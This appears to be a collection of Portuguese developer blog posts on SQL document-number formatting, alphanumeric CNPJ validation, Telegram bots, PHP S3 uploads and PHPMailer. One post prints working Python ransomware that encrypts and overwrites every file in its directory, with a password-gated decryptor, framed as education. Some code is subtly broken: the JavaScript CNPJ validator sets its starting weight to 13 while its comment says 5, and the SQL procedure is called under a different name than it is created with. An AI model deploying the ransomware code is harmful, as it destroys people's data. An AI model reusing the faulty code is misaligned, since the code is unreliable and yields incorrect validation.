Você já se deparou com dados “crus” no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente no sistema? Ou talvez tenha precisado tratar essa visualização direto em um SELECT ou PROCEDURE para exibir os dados já formatados para o cliente?

Hoje vou te mostrar como formatar CNPJ, CPF e CEP diretamente no SQL Server, utilizando funções nativas como SUBSTRING, LEFT, RIGHT e STUFF. O processo é simples, limpo e extremamente útil — principalmente em procedures que geram relatórios, exibem dados em tela ou enviam mensagens automatizadas. Essa abordagem evita o retrabalho de formatar os dados no backend, o que pode gerar processamento desnecessário e quebrar a responsabilidade das camadas do sistema.

Por que formatar direto no SQL?

É comum e até recomendado que os dados armazenados no banco venham sem formatação, contendo apenas os números. Isso facilita operações, buscas e integrações. Mas, quando precisamos exibir os dados de forma legível — como em logs, templates ou mensagens automáticas — ter a formatação no SQL pode ser muito útil.

Formatando CNPJ: 12.345.678/0001-95

SELECT 
    -- Adiciona o primeiro ponto após os 2 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 5 primeiros dígitos (já contando o ponto anterior)
        STUFF(
            -- Adiciona a barra após os 8 primeiros dígitos (contando os dois pontos anteriores)
            STUFF(
                -- Adiciona o traço após os 12 primeiros dígitos (contando os separadores)
                STUFF('12345678000195', 3, 0, '.'),  -- Resultado: 12.345678000195
            7, 0, '.'),                             -- Resultado: 12.345.678000195
        11, 0, '/'),                                -- Resultado: 12.345.678/000195
    16, 0, '-') AS CNPJ_Formatado                  -- Resultado final: 12.345.678/0001-95

Formatando CPF: <em>123.456.789-01</em>

SELECT 
    -- Adiciona o primeiro ponto após os 3 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 6 primeiros dígitos (já contando o primeiro ponto)
        STUFF(
            -- Adiciona o traço após os 9 primeiros dígitos (já contando os pontos)
            STUFF('12345678901', 4, 0, '.'),     -- Resultado: 123.45678901
        8, 0, '.'),                              -- Resultado: 123.456.78901
    12, 0, '-') AS CPF_Formatado                 -- Resultado final: 123.456.789-01

Formatando CEP: 12345-678

SELECT 
    -- Adiciona o traço após os 5 primeiros dígitos
    STUFF('12345678', 6, 0, '-') AS CEP_Formatado
    -- Resultado final: 12345-678

Dica: Centralize a lógica em uma Procedure

Centralizar a formatação em uma procedure ajuda a organizar o código, evitar repetição e facilita a manutenção. Sempre que precisar dessas formatações, basta chamar a procedure.

CREATE PROCEDURE dbo.SP_EXIBE_CLIENTE
    @CNPJ VARCHAR(14),
    @CPF  VARCHAR(11),
    @CEP  VARCHAR(8)
AS
BEGIN
    SET NOCOUNT ON;

    CREATE TABLE #CNPJ_Formatado (CNPJ VARCHAR(18));
    INSERT INTO #CNPJ_Formatado (CNPJ)
    SELECT STUFF(STUFF(STUFF(STUFF(@CNPJ, 3, 0, '.'), 7, 0, '.'), 11, 0, '/'), 16, 0, '-');

    CREATE TABLE #CPF_Formatado (CPF VARCHAR(14));
    INSERT INTO #CPF_Formatado (CPF)
    SELECT STUFF(STUFF(STUFF(@CPF, 4, 0, '.'), 8, 0, '.'), 12, 0, '-');

    CREATE TABLE #CEP_Formatado (CEP VARCHAR(9));
    INSERT INTO #CEP_Formatado (CEP)
    SELECT STUFF(@CEP, 6, 0, '-');

    SELECT
        C.CNPJ,
        P.CPF,
        E.CEP
    FROM #CNPJ_Formatado C
    CROSS JOIN #CPF_Formatado P
    CROSS JOIN #CEP_Formatado E;

    DROP TABLE #CNPJ_Formatado;
    DROP TABLE #CPF_Formatado;
    DROP TABLE #CEP_Formatado;
END

Como usar a Procedure:

EXEC dbo.sp_Formatar_Documentos
    @CNPJ = '12345678000195',
    @CPF = '12345678901',
    @CEP = '12345678'

Resultado esperado:

Atenção!

Essas formatações presumem que os dados estão completos e sem formatação. Caso os campos venham com caracteres inválidos ou estejam incompletos, é importante validar previamente usando LEN, ISNUMERIC, ou TRY_CAST/TRY_CONVERT (se estiver usando SQL Server 2012+).

Conclusão

Saber formatar diretamente no SQL Server pode acelerar tarefas de testes, visualização de dados, geração de relatórios e mensagens automáticas. Se quiser ir além, você pode transformar essas lógicas em funções reutilizáveis para aplicar sempre que necessário.

Curtiu a dica? Já precisou fazer esse tipo de formatação no SQL alguma vez? Comenta aí como você resolveu — ou que tipo de gambiarra já fez com CNPJ e CPF!

Introdução

Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.

O que é um Ransomware?

Um ransomware é um tipo de malware que sequestra os dados da vítima por meio de criptografia. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima não recebe a chave de descriptografia.

Como funciona tecnicamente?

1. O atacante cria um programa que:
   • Vasculha o diretório à procura de arquivos.
   • Criptografa os arquivos com uma chave gerada na hora.
   • Salva a chave num local escondido ou remoto.
   • Exclui os arquivos originais e deixa uma mensagem de resgate.
2. A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.

Exemplo em Python

Atenção: Este exemplo é apenas educativo! Não use esse código para fins maliciosos.

malware.py – Criptografando os arquivos

#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

print("Encrypted files:", files)

key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
    thekey.write(key)

for file in files:
    with open(file, "rb") as thefile:
        content = thefile.read()
    content_encrypted = Fernet(key).encrypt(content)
    with open(file, "wb") as thefile:
        thefile.write(content_encrypted)

print("All your files have been encrypted!")

O que esse código faz?

• Gera uma chave de criptografia com Fernet.
• Ignora arquivos importantes do próprio script.
• Criptografa todos os arquivos do diretório atual e sobrescreve os originais.

Como descriptografar os arquivos?

decrypt.py – Descriptografando

import os
from cryptography.fernet import Fernet

files = []
for file in os.listdir():
    if file in ("malware.py", "thekey.key", "decrypt.py"):
        continue
    if os.path.isfile(file):
        files.append(file)

with open("thekey.key", "rb") as key_file:
    secretkey = key_file.read()

passphrase = "M4nu4ld0Pr0gr4m4d0r"  # senha definida pelo "atacante"
user_input = input("Enter the password to decrypt your files: ")

if user_input == passphrase:
    for file in files:
        with open(file, "rb") as thefile:
            content = thefile.read()
        decrypted = Fernet(secretkey).decrypt(content)
        with open(file, "wb") as thefile:
            thefile.write(decrypted)
    print("Files successfully decrypted.")
else:
    print("Wrong password. Access denied.")

O que você aprendeu aqui?

• Como funciona a criptografia de arquivos com Fernet.
• Como é simples automatizar isso em um script.
• Que a segurança digital é responsabilidade de todos nós.

Alerta: uso ético e legal

Esse exemplo foi apresentado somente para fins educacionais, com o objetivo de conscientizar sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é crime previsto em lei.

Como se proteger?

• Nunca execute arquivos desconhecidos.
• Faça backup regular dos seus dados.
• Mantenha o sistema e antivírus sempre atualizados.

Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores numéricos. A mudança visa acomodar o contínuo crescimento do número de empresas no Brasil e evitar o esgotamento da numeração disponível. Porém, essa novidade trará uma série de desafios técnicos e exigirá adaptações em diversos pontos dos sistemas corporativos. Neste artigo, vamos explorar os principais impactos e sugerir estratégias para uma transição suave.

1. Nova Regra de Cálculo dos Dígitos Verificadores

Até então, os doze primeiros dígitos do CNPJ eram exclusivamente numéricos, e os dois últimos resultavam de um cálculo baseado em módulo 11 e pesos de 2 a 9. Com a inclusão de letras, será necessário atribuir valores numéricos a cada caractere alfabético (A=17, B=18, …, Z=42) antes de aplicar o algoritmo tradicional de dígitos verificadores.

Fluxo de cálculo resumido:

1. Mapeamento: converta cada caractere alfanumérico no seu valor segundo tabela (por exemplo, A→17, B→18, …) .
2. Aplicação de pesos: aplique pesos de 2 a 9 da direita para a esquerda, reiniciando após o peso
3. Somatório e módulo: calcule o somatório dos produtos valor×peso e obtenha o resto da divisão por 11.
4. Definição do dígito: se o resto for 0 ou 1, o dígito é 0; caso contrário, é 11 menos o resto.
5. Repetição: para o segundo dígito, inclua o primeiro DV ao final e repita o processo.

1.1 Primeiro Dígito Verificador

Para validar o CNPJ alfanumérico Y6.K55.XEN/0001-99, extraímos primeiro os 12 caracteres e depois calculamos os dois dígitos verificadores.

1.1.1 Primeiro Dígito Verificador

• Base (12 chars): Y 6 K 5 5 X E N 0 0 0 1
• Valor (ASCII–48):
  • Y → 41
  • 6 → 6
  • K → 27
  • 5 → 5
  • 5 → 5
  • X → 40
  • E → 21
  • N → 30
  • 0 → 0
  • 0 → 0
  • 0 → 0
  • 1 → 1
• Pesos: 5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2

1. Soma dos produtos

41×5 + 6×4 + 27×3 + 5×2 + 5×9 + 40×8 + 21×7 + 30×6 + 0 + 0 + 0 + 1×2 = 1 014

2. Resto da divisão por 11

1 014 mod 11 = 2

3. Cálculo do primeiro dígito (DV₁)
   • Resto ≥ 2 → 11 – 2 = 9

1.1.2 Segundo Dígito Verificador

Y 6 K 5 5 X E N 0 0 0 1 9

• Valores: mesmos 12 anteriores + 9
• Pesos: 6, 5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2

Soma dos produtos

41×6 + 6×5 + 27×4 + 5×3 + 5×2 + 40×9 + 21×8 + 30×7 + 0 + 0 + 0 + 1×3 + 9×2 = 1 168

Resto da divisão por 11

1 168 mod 11 = 2

Cálculo do segundo dígito (DV₂)

Resto ≥ 2 → 11 – 2 = 9

Portanto, os dígitos verificadores são 9 e 9, conferindo com o CNPJ completo:

Y6.K55.XEN/0001-99

1.2 Algoritmo JS para validar se um CNPJ é valido

Será necessário alterar no front-end do sistema, lugares onde tem validação de CNPJ valído, para isso, segue um algoritmo atualizado para fazer essa validação nos inputs informados do sistema:

/**
 * Valida CNPJ alfanumérico (12 caracteres + 2 dígitos)
 * @param {string} input CNPJ formatado ou não (aceita letras e números)
 * @returns {boolean} true se válido, false caso contrário
 */
function validaCnpjAlpha(input) {
  // Remove tudo que não for letra ou dígito
  const cnpj = input.replace(/[^0-9A-Za-z]/g, '').toUpperCase();
  if (!/^[0-9A-Z]{14}$/.test(cnpj)) return false;

  // Converte caractere para valor: código ASCII - 48
  const toValue = ch => ch.charCodeAt(0) - 48;

  // Função que calcula um DV (1 ou 2)
  function calcDv(len) {
    let peso = len + 1; // para len=12, peso inicial é 5; para len=13, peso=6
    const soma = cnpj
      .slice(0, len)
      .split('')
      .map(toValue)
      .reduce((acc, val) => {
        acc += val * peso;
        peso = peso > 2 ? peso - 1 : 9;
        return acc;
      }, 0);
    const resto = soma % 11;
    return resto < 2 ? 0 : 11 - resto;
  }

  // Calcula os dois dígitos verificadores
  const dv1 = calcDv(12);
  const dv2 = calcDv(13);

  // Compara com os dois últimos dígitos do input
  return dv1 === toValue(cnpj[12]) && dv2 === toValue(cnpj[13]);
}

// Exemplo de uso:
console.log(validaCnpjAlpha('12.ABC.345/01DE-35')); // true ou false

2. Mudança nas mascaras de input

Com a entrada de letras, as máscaras de campos de CNPJ em formulários e aplicativos precisam ser revisadas:

• Bibliotecas JavaScript/Vue/Angular: atualize plugins como mask.js para aceitar [0-9A-Za-z] em todas as posições – não apenas dígitos.
• React (IMask): configure o pattern para alfanumérico e garanta a conversão automática para maiúsculas, evitando inconsistências de case.
• UX/UI: ofereça feedback claro ao usuário sobre o formato (ex.: XX.XXX.XXX/YYYY-00). Considere usar placeholders dinâmicos que exibam letras e números.

Essas mudanças exigem testes end‑to‑end (Selenium, Cypress) para garantir que fluxos de cadastro e edição continuem funcionando sem erros.

3. Banco de Dados com VARCHAR

Sistemas que atualmente definem o campo de CNPJ como INT ou BIGINT devem migrar para tipos de texto:

• VARCHAR(14) ou CHAR(14) (12 alfanuméricos + 2 numéricos): garante espaço exato e evita desperdício.
• Índices: recrie índices baseados em strings e avalie o desempenho em consultas que utilizam LIKE, =, ou ordenação. Em bancos muito volumosos, pode ser necessário particionamento ou índices parciais.

Planeje a migração de dados com scripts SQL que convertam registros antigos para o novo padrão, incluindo rotinas de validação de integridade.

4. Regex e Validações em Código

Muitos sistemas usam expressões regulares para extrair ou validar CNPJ em strings (logs, relatórios, integrações). Atualize-as para algo que vai validar se oque foi digitado é um CNPJ valído com:

/^[A-Za-z0-9]{2}\.[A-Za-z0-9]{3}\.[A-Za-z0-9]{3}\/[A-Za-z0-9]{4}-\d{2}$/

Localize todos os artefatos de regex (busca em repositórios, IDEs) e adeque-os para evitar falhas silenciosas em processos automáticos.

Conclusão e Boas Práticas

A adoção do CNPJ alfanumérico é inevitável diante do crescimento das empresas no país. Para mitigar riscos:

1. Planeje versões: use feature flags para alternar validações.
2. Crie ambientes de homologação: inclua casos de teste com letras em processos críticos.
3. Documente mudanças: atualize guias de estilo e manuais de API.
4. Automatize migrações: scripts SQL e pipelines de dados devem rodar sem intervenção manual.
5. Comunique stakeholders: informe times de desenvolvimento, QA, operação e parceiros externos.

Com esses cuidados, seu sistema estará preparado para lidar com o novo padrão de CNPJ, garantindo integridade, performance e compatibilidade.

E aí, pessoal! Se você sempre quis criar um bot no Telegram, mas achou que seria complicado, estou aqui para mostrar que é bem mais fácil do que parece. Neste post, vou te ensinar como criar um bot e fazer duas integrações diferentes: uma para enviar alertas via webhook e outra para criar um chatbot que conversa e responde. Vamos nessa?

Passo 1: Criando o bot no Telegram

1. Abra o Telegram e encontre o BotFather. O BotFather é o cara que vai te ajudar a criar e gerenciar o seu bot. Basta procurar por ele na busca do Telegram e iniciar uma conversa.
2. Crie o bot com o comando /newbot. O BotFather vai pedir um nome e um username para o bot. Lembre-se que o username precisa ser único e terminar com “bot” (por exemplo, MeuBotLegal).
3. Guarde o token de acesso. Após configurar tudo, o BotFather vai te dar um token. Esse token é a chave que permite que você controle o bot via código

Passo 2: Pegando o chat_id

Antes de começar a enviar mensagens ou configurar o bot para responder, você precisa pegar o chat_id, que é o identificador do chat onde o bot vai enviar mensagens.

Use a API do Telegram para pegar o chat_id. Você pode pegar o chat_id usando o seguinte script:

Python

Inicie uma conversa com o seu bot. Abra o chat com o seu bot no Telegram e envie uma mensagem, qualquer coisa, só para iniciar a interação.

import requests

# Substitua pelo seu token
TOKEN = 'seu_token_aqui'

# Pega as últimas atualizações do bot
response = requests.get(f'https://api.telegram.org/bot{TOKEN}/getUpdates').json()

# Extrai o chat_id da resposta
chat_id = response['result'][0]['message']['chat']['id']
print(f'Seu chat_id é: {chat_id}')

JavaScript (Node.js)

const axios = require('axios');
const token = 'seu_token_aqui';

axios.get(`https://api.telegram.org/bot${token}/getUpdates`)
  .then(response => {
    const chatId = response.data.result[0].message.chat.id;
    console.log('Seu chat_id é: ', chatId);
  })
  .catch(error => {
    console.error('Erro ao pegar chat_id: ', error);
  });

Anote o chat_id. Execute o script acima e você verá o chat_id no console. Anote esse ID porque você vai usá-lo nos próximos passos.

Passo 3: Exemplo 1 – Enviando alertas via webhook

Agora que você tem o chat_id, vamos começar com algo simples: enviar alertas pro Telegram usando um webhook. Isso é útil quando você quer ser notificado automaticamente sobre alguma coisa, tipo um erro no seu sistema.

Python

Instale a biblioteca requests.

pip install requests

Crie um script para enviar mensagens.

import requests

# Token e ID do chat
TOKEN = 'seu_token_aqui'
CHAT_ID = 'seu_chat_id_aqui'

def enviar_alerta(mensagem):
    url = f'https://api.telegram.org/bot{TOKEN}/sendMessage'
    data = {'chat_id': CHAT_ID, 'text': mensagem}
    requests.post(url, data=data)

enviar_alerta('⚠ Alerta: Algo deu errado no sistema!')

JavaScript (Node.js)

Instale o axios para fazer as requisições.

npm install axios

Crie um script básico para enviar alertas.

const axios = require('axios');
const token = 'seu_token_aqui';
const chatId = 'seu_chat_id_aqui';
const message = '⚠ Alerta: Algo deu errado no sistema!';

axios.post(`https://api.telegram.org/bot${token}/sendMessage`, {
    chat_id: chatId,
    text: message
}).then(response => {
    console.log('Mensagem enviada: ', response.data);
}).catch(error => {
    console.error('Erro ao enviar mensagem: ', error);
});

Execute o script e teste o envio do alerta.

Passo 4: Exemplo 2 – Criando um chatbot com interação

Agora, vamos deixar o negócio mais interessante: vamos criar um bot que responde às mensagens que você enviar para ele.

Python

Instale a biblioteca python-telegram-bot.

pip install python-telegram-bot

Crie um bot que responde a comandos.

from telegram import Update
from telegram.ext import Application, CommandHandler

# Token do Bot
TOKEN = 'seu_token_aqui'

async def start(update: Update, context):
    await update.message.reply_text('Oi! Como posso ajudar?')

async def help_command(update: Update, context):
    await update.message.reply_text('Aqui está a lista de comandos: /start, /help')

if __name__ == '__main__':
    # Cria a aplicação e adiciona os handlers
    application = Application.builder().token(TOKEN).build()

    application.add_handler(CommandHandler("start", start))
    application.add_handler(CommandHandler("help", help_command))

    # Inicia o bot
    application.run_polling()

JavaScript (Node.js)

Instale a biblioteca node-telegram-bot-api.

npm install node-telegram-bot-api

Crie um bot que responde aos comandos.

const TelegramBot = require('node-telegram-bot-api');
const token = 'seu_token_aqui';
const bot = new TelegramBot(token, {polling: true});

bot.onText(/\/start/, (msg) => {
    bot.sendMessage(msg.chat.id, "Oi! Como posso ajudar?");
});

bot.onText(/\/help/, (msg) => {
    bot.sendMessage(msg.chat.id, "Aqui está a lista de comandos: /start, /help");
});

Teste a interação com o seu bot.

Considerações finais

Pronto! Agora você sabe como criar um bot no Telegram, tanto para enviar alertas via webhook quanto para criar um chatbot interativo. Com esses exemplos, você pode começar a explorar mais funcionalidades e personalizar seu bot para fazer o que você quiser. Adicione suas capturas de tela onde indicado e compartilhe com a galera o que você criou!

Dica: Sempre proteja o token do seu bot e evite compartilhá-lo publicamente para garantir a segurança.

Visão Geral

O Amazon S3 é amplamente utilizado para armazenamento de arquivos, enquanto o Amazon CloudFront pode ser empregado para entrega de conteúdo de forma rápida e segura. Aqui, vamos configurar um projeto PHP para realizar uploads no S3, obter URLs através do CloudFront, e discutir as vantagens de usar o CloudFront para acessar seus arquivos.

Estrutura do Projeto

Seu projeto será estruturado da seguinte forma:

project/
├── src/
│   ├── S3Manager.php
│   └── example.php
├── .env
├── composer.json
└── README.md

Dependências Necessárias

Antes de começar, certifique-se de ter o Composer instalado, pois ele gerenciará as dependências do seu projeto PHP. No arquivo composer.json, adicione as seguintes dependências:

{
    "require": {
        "aws/aws-sdk-php": "^3.0",
        "vlucas/phpdotenv": "^5.4"
    }
}

Em seguida, instale as dependências:

composer install

Configurando Variáveis de Ambiente

Utilize um arquivo .env para gerenciar configurações sensíveis, como chaves de acesso AWS. O conteúdo do seu arquivo .env deve ser algo como:

AWS_ACCESS_KEY_ID=your_access_key_id
AWS_SECRET_ACCESS_KEY=your_secret_access_key
AWS_REGION=your_aws_region
S3_BUCKET_NAME=your_s3_bucket_name
CLOUDFRONT_URL=https://your_cloudfront_distribution_url/

Criando a Classe de Gerenciamento de Arquivos no S3

Crie a classe S3Manager.php para gerenciar uploads e recuperação de URLs:

<?php

namespace App;

use Aws\S3\S3Client;
use Dotenv\Dotenv;

class S3Manager
{
    private $s3;
    private $bucket;
    private $cloudfrontUrl;

    public function __construct()
    {
        $dotenv = Dotenv::createImmutable(__DIR__ . '/../');
        $dotenv->load();

        $this->bucket = $_ENV['S3_BUCKET_NAME'];
        $this->cloudfrontUrl = $_ENV['CLOUDFRONT_URL'];

        $this->s3 = new S3Client([
            'version' => 'latest',
            'region'  => $_ENV['AWS_REGION'],
            'credentials' => [
                'key'    => $_ENV['AWS_ACCESS_KEY_ID'],
                'secret' => $_ENV['AWS_SECRET_ACCESS_KEY'],
            ],
        ]);
    }

    public function uploadFile($filePath, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'SourceFile' => $filePath,
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }

    public function getFileUrl($key)
    {
        return $this->cloudfrontUrl . $key;
    }

    public function uploadFromFiles($file, $key)
    {
        try {
            $result = $this->s3->putObject([
                'Bucket' => $this->bucket,
                'Key'    => $key,
                'Body'   => fopen($file['tmp_name'], 'rb'),
                'ACL'    => 'public-read', // Optional: for public access
            ]);

            return $result['ObjectURL'];
        } catch (AwsException $e) {
            echo "Error uploading file: " . $e->getMessage();
            return false;
        }
    }
}

Exemplo de Uso

Agora, você pode usar a classe S3Manager para fazer o upload de arquivos, tanto a partir de um caminho no sistema de arquivos quanto diretamente do $_FILES:

<?php

require 'vendor/autoload.php';

use App\S3Manager;

$s3Manager = new S3Manager();

// Exemplo de upload de um arquivo existente
$filePath = '/path/to/your/file.txt';
$key = 'uploads/file.txt';
$uploadUrl = $s3Manager->uploadFile($filePath, $key);

if ($uploadUrl) {
    echo "File uploaded successfully. URL: " . $uploadUrl . PHP_EOL;
}

// Exemplo de upload via $_FILES
if ($_FILES) {
    $file = $_FILES['uploaded_file'];
    $key = 'uploads/' . basename($file['name']);
    $uploadUrl = $s3Manager->uploadFromFiles($file, $key);

    if ($uploadUrl) {
        echo "File uploaded successfully via \$_FILES. URL: " . $uploadUrl . PHP_EOL;
    }
}

// Exemplo de obtenção da URL do arquivo via CloudFront
$fileUrl = $s3Manager->getFileUrl($key);
echo "File URL via CloudFront: " . $fileUrl . PHP_EOL;

Vantagem de Configurar uma Distribuição do CloudFront para S3

Ao utilizar o Amazon S3 para armazenar seus arquivos, cada acesso a esses arquivos gera custos. Dependendo do volume de acessos, isso pode se tornar significativo. Uma maneira eficiente de reduzir esses custos e ainda melhorar a performance de sua aplicação é configurando uma distribuição do Amazon CloudFront.

O CloudFront é uma Content Delivery Network (CDN) da AWS que oferece várias vantagens:

• Redução de Custos: Enquanto o S3 cobra por cada acesso aos seus arquivos, o CloudFront oferece um custo por acesso menor, o que pode resultar em economias consideráveis, especialmente para sites ou aplicações com alto tráfego.
• Cacheamento: O CloudFront armazena em cache os arquivos em diversos pontos de presença (PoPs) ao redor do mundo. Isso não só reduz a latência, tornando o acesso mais rápido para os usuários, como também diminui a quantidade de requisições diretamente ao S3, economizando ainda mais nos custos de acesso.
• Melhoria de Performance: Com os arquivos sendo servidos a partir de locais mais próximos dos usuários finais, o tempo de carregamento é significativamente reduzido, proporcionando uma experiência de usuário mais fluida.

Ao configurar o CloudFront para distribuir os arquivos armazenados no S3, você não só economiza, mas também melhora a performance e a escalabilidade da sua aplicação.

Considerações Finais

Ao configurar seu projeto PHP para interagir com o Amazon S3 e CloudFront, você está construindo uma solução escalável e segura para gerenciar arquivos na nuvem. O uso de variáveis de ambiente e a abordagem modular ajudam a manter a flexibilidade e a segurança do seu sistema. Além disso, a possibilidade de fazer uploads diretamente via $_FILES facilita a integração em sistemas que recebem arquivos de formulários HTML.

Se você está começando a trabalhar com AWS ou deseja melhorar seu sistema atual, essa solução pode ser o ponto de partida ideal, especialmente ao considerar as vantagens de utilizar o CloudFront para acessar seus arquivos no S3.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!

Por que usar o PHPMailer?

PHPMailer é uma biblioteca PHP amplamente utilizada por sua facilidade de uso e por suportar funcionalidades avançadas como envio de anexos, e-mails em HTML, e suporte a SMTP. Além disso, ele permite uma integração segura com serviços de e-mail como o Amazon SES, utilizando variáveis de ambiente para proteger suas credenciais.

Configurando o Ambiente

Antes de tudo, é importante garantir que suas credenciais sensíveis, como senhas de e-mail e chaves de acesso da AWS, estejam protegidas. Isso pode ser feito utilizando variáveis de ambiente, que mantêm essas informações fora do código-fonte, minimizando riscos de exposição.

No entanto, para que o PHP consiga ler as variáveis de ambiente de um arquivo .env, é necessário utilizar uma biblioteca como o vlucas/phpdotenv.

Passo 1: Instalação do PHP dotenv

Você pode instalar o phpdotenv utilizando o Composer:

composer require vlucas/phpdotenv

Passo 2: Configuração do Arquivo .env

Crie um arquivo .env na raiz do seu projeto e adicione suas variáveis de ambiente:

SMTP_HOST=email-smtp.[região].amazonaws.com
SMTP_PORT=587
SMTP_USERNAME=sua_ses_access_key
SMTP_PASSWORD=sua_ses_secret_key

Passo 3: Carregando as Variáveis de Ambiente no PHP

No início do seu script PHP, você precisará carregar as variáveis de ambiente com o phpdotenv:

<?php

require 'vendor/autoload.php';

// Carrega as variáveis de ambiente do arquivo .env
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv->load();

$host = getenv('SMTP_HOST');
$username = getenv('SMTP_USERNAME');
// Agora você pode utilizar essas variáveis na configuração do PHPMailer

Instalação do PHPMailer

Agora que suas variáveis de ambiente estão configuradas, é hora de instalar o PHPMailer. A maneira mais simples de fazer isso é utilizando o Composer:

composer require phpmailer/phpmailer

Criando a Classe de Envio de E-mails

Agora vamos criar uma classe em PHP que utiliza o PHPMailer para enviar e-mails. Esta classe será configurada para usar as variáveis de ambiente que definimos anteriormente.

<?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'vendor/autoload.php';

class EmailService
{
    private $mailer;

    public function __construct()
    {
        $this->mailer = new PHPMailer(true);
        $this->configure();
    }

    private function configure()
    {
        // Configurações do servidor SMTP
        $this->mailer->isSMTP();
        $this->mailer->Host = getenv('SMTP_HOST');
        $this->mailer->SMTPAuth = true;
        $this->mailer->Username = getenv('SMTP_USERNAME');
        $this->mailer->Password = getenv('SMTP_PASSWORD');
        $this->mailer->SMTPSecure = 'tls';
        $this->mailer->Port = getenv('SMTP_PORT');
    }

    public function sendEmail($fromEmail, $fromName, $to, $subject, $body)
    {
        try {
            // Configurações do remetente
            $this->mailer->setFrom($fromEmail, $fromName);
            $this->mailer->addAddress($to);

            // Cabeçalhos adicionais para resposta
            $this->mailer->addReplyTo($fromEmail, $fromName);
            $this->mailer->addCustomHeader('Return-Path', $fromEmail);

            $this->mailer->Subject = $subject;
            $this->mailer->Body = $body;
            $this->mailer->isHTML(true);

            // Enviar o e-mail
            $this->mailer->send();

            return "E-mail enviado com sucesso!";
        } catch (Exception $e) {
            return "Erro ao enviar e-mail: {$this->mailer->ErrorInfo}";
        }
    }
}

// Exemplo de uso
$emailService = new EmailService();
$result = $emailService->sendEmail('usuario@seudominio.com.br', 'Nome do Usuário', 'destinatario@example.com', 'Assunto do E-mail', 'Corpo do e-mail');
echo $result;

Usando o Amazon SES

O Amazon SES (Simple Email Service) é um serviço de e-mail baseado na nuvem que permite o envio de grandes volumes de e-mails de forma confiável e segura. Ele utiliza Access Key e Secret Key para autenticação, e você pode configurar domínios verificados para garantir que os e-mails enviados sejam considerados legítimos pelos provedores de e-mail.

Ao configurar o Amazon SES com PHPMailer, o processo de envio de e-mails se torna mais robusto, permitindo que você gerencie altas demandas de e-mails sem se preocupar com limitações comuns de servidores de e-mail tradicionais.

Passos para configurar o SES:

1. Verifique o domínio: Antes de enviar e-mails com o SES, é necessário verificar o domínio que você deseja utilizar.
2. Crie credenciais de acesso: No painel da AWS, crie um novo usuário com permissões específicas para o SES e gere as chaves de acesso (Access Key e Secret Key).
3. Configure o PHPMailer: Use as chaves geradas nas variáveis de ambiente e configure o PHPMailer conforme mostrado no exemplo acima.

Conclusão

Com essa configuração, você pode enviar e-mails de forma segura utilizando PHPMailer e variáveis de ambiente, além de integrar o Amazon SES para gerenciar grandes volumes de e-mails de forma escalável. Ao passar o e-mail do remetente como parâmetro, você permite que o usuário logado envie e-mails com seu próprio endereço, mantendo a personalização e autenticidade da comunicação.

Essa abordagem não só melhora a segurança das suas aplicações como também oferece flexibilidade na gestão de envios de e-mail em projetos PHP.

Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!